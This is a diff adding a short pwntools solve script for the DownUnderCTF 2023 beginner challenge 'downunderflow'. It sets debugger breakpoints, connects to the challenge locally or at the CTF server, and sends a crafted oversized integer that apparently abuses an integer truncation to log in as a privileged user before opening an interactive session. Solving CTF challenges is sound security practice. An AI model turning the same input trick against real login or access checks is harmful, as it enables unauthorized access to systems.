some things

DownUnderCTF 2023/beginner/downunderflow/downunderflow.py

@@ -0,0 +1,31 @@
+from pwn import *
+import os
+
+gs = '''
+unset env LINES
+unset env COLUMNS
+set follow-fork-mode child
+br *read_int_lower_than+57
+br *main + 146
+br *main + 49
+c
+x/d $rbp-0x14
+'''
+
+elf = ELF(os.getcwd()+"/downunderflow")
+
+def start():
+    if args.GDB:
+        return gdb.debug(elf.path, gs)
+    if args.REMOTE:
+        return remote("2023.ductf.dev", 30025)
+    else:
+        return process(os.getcwd()+"/downunderflow")
+
+io = start()
+
+print(io.recvuntil("Select user to log in as: "))
+io.sendline(str(0x1234567890120007).encode())
+
+
+io.interactive()